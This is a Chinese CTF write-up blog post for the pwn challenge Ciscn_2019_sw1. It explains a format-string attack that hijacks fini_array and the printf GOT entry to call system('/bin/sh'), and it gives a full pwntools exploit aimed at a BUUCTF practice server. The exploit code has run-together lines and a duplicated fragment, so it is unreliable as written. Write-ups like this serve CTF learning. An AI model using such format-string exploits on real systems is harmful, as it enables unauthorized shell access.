Ciscn_2019_sw1<fini_array>

2023-10-09 20:59
文章标签 2019 array ciscn fini sw1

本文主要是介绍Ciscn_2019_sw1<fini_array>,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

Ciscn_2019_sw1

​ 在执行main函数之前会调用init_array里的函数,在执行完main函数之后调用fini_array里的函数,因此这道题思路为通过第一次printf劫持printf的got表为system的函数地址,劫持fini_addr为main函数的地址,第二次输入"/bin/sh\x00",当执行到printf(“/bin/sh\x00”)时,由于劫持为system函数,因此执行system(“/bin/sh\x00”),拿到shell。

在这里插入图片描述

话不多说,给exp

from pwn import *
from LibcSearcher import *file_path = "./chall/1"
local = 0
remote_path = "node4.buuoj.cn:28410"
elf = ELF("./chall/1")
# libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6")################################  forbidden ####################################
if local != 1:p = remote(remote_path.split(":")[0],int(remote_path.split(":")[1]))
else:p = process(file_path)sd      = lambda payload        : p.send(payload)
sdl     = lambda payload        : p.sendline(payload)
sda     = lambda data,payload   : p.sendafter(data,payload)
sdla    = lambda data,payload   : p.sendlineafter(data,payload)
it      = lambda                : p.interactive()
rcv     = lambda num            : p.recv(num)
rcv_all = lambda                : p.recv()
rcvu    = lambda data           : p.recvuntil(data)
lbc     = lambda str1,str2      : LibcSearcher(str1,str2)
lg      = lambda name,data      : p.success(name + "-> 0x%x" % data)#采用b *<addr>  b *$rebase(<addr>)下断点
def debug(a=''):if local:gdb.attach(p,a)if a=='':passelse: pass
################################  forbidden ####################################get_addr_64 = lambda: u64(rcvu(b"\x7f")[-6:].ljust(8,b"\x00"))############################################################################
##check: arch
##check:local
##check: .so
if __name__ == "__main__":context(os='linux', arch='amd64', log_level='debug')debug("b *0x80485a8")sys_addr = 0x80483d0fini_addr = 0x804979cprintf_got = 0x804989cmain_addr = 0x8048534#更改fini_addr处为main函数地址,劫持printf got表为system函数payload = "%{}c%{}$hn%{}c%{}$hn%{}c%{}$hn".format(0x804,14,0x83d0-0x804,15,0x8534-0x83d0,13) payload = bytes(payload.encode("utf-8"))payload = payload + p32(fini_addr) + p32(printf_got+2) + p32(printf_got)rcv_all()payload = payload.ljust(32,b"a")sdl(payload)sleep(0.2)sdl(b"/bin/sh\x00")it()

l(payload)
sleep(0.2)
sdl(b"/bin/sh\x00")
it()


这篇关于Ciscn_2019_sw1<fini_array>的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/175552

相关文章

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点:弱密码字典爆破 四种方法:   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩,我们先查看源代码

【uva】11536-Smallest Sub-Array(区间移动问题)

一个区间移动的问题,1A了,感觉没什么好说的。。 13975926 11536 Smallest Sub-Array Accepted C++ 0.809 2014-08-01 11:00:20 #include<cstdio>#include<cstring>#include<iostream>using namespace std;#define INF 1 << 30

leetCode#448. Find All Numbers Disappeared in an Array

Description Given an array of integers where 1 ≤ a[i] ≤ n (n = size of array), some elements appear twice and others appear once. Find all the elements of [1, n] inclusive that do not appear in this

2019学习计划

工作三年了,第一年感觉是荒废的,第二年开始学习python,第三年开始自动化 感觉自己会的东西比较少,而且不够深入,流于表面 现制定一下今年大概的学习计划 需持续巩固加强:python、ui自动化、接口自动化、sql等 代码量需提升,敲的不够(重点) 学习: 1.移动端测试,appium等 2.前端知识系统整理学习  3.性能测试 4.docker入门,环境搭建 5.shell

做一个问卷考试,标准答案对比用户填写的答案,array_diff 进行差集比对

if( empty(array_diff($answer_mark, $answer)) && empty(array_diff( $answer,$answer_mark))){//用户答题正确}else{// 答题错误} 做一个问卷考试,标准答案对比用户填写的答案,array_diff  进行差集比对   如用户填写的答案变量为answer   标准答案为answer_mark

最简单的使用JDBC[连接数据库] mysql 2019年3月18日

最极简版本的, 我们这里以mysql为例: 首先要创建maven工程, 需要引入jar包:,这里需要注意, 如果你安装的是mysql最新版本8以上的, 下面有些地方需要更改,具体就是mysql连接的url, 和5版本的不一样,具体解决请自行百度哈.这里只演示mysql5版本的? 依赖: <dependency>   <groupId>mysql</groupId>   <artifactId

[LeetCode] 238. Product of Array Except Self

题:https://leetcode.com/problems/product-of-array-except-self/description/ 题目 Given an array nums of n integers where n > 1, return an array output such that output[i] is equal to the product of all

[LeetCode] 215. Kth Largest Element in an Array

题:https://leetcode.com/problems/kth-largest-element-in-an-array/description/ 题目 Find the kth largest element in an unsorted array. Note that it is the kth largest element in the sorted order, not th

MyBatis - 使用foreach迭代List/Array的说明

在 MyBatis 中的 foreach 元素,主要用于迭代 集合数据 以动态生成执行语句;主要有 item、index、collection、open、separator、close 等属性 属性说明         collection:要迭代的数据集对象,必填项         item:迭代出的元素的别名,必填项         index:元素的序号(map时为k

LeetCode - 33. Search in Rotated Sorted Array

33. Search in Rotated Sorted Array  Problem's Link  ---------------------------------------------------------------------------- Mean:  给你一个数组,这个数组是由两个有序的数组拼接成的(无重复元素),在这个数组中查找元素k的下标. anal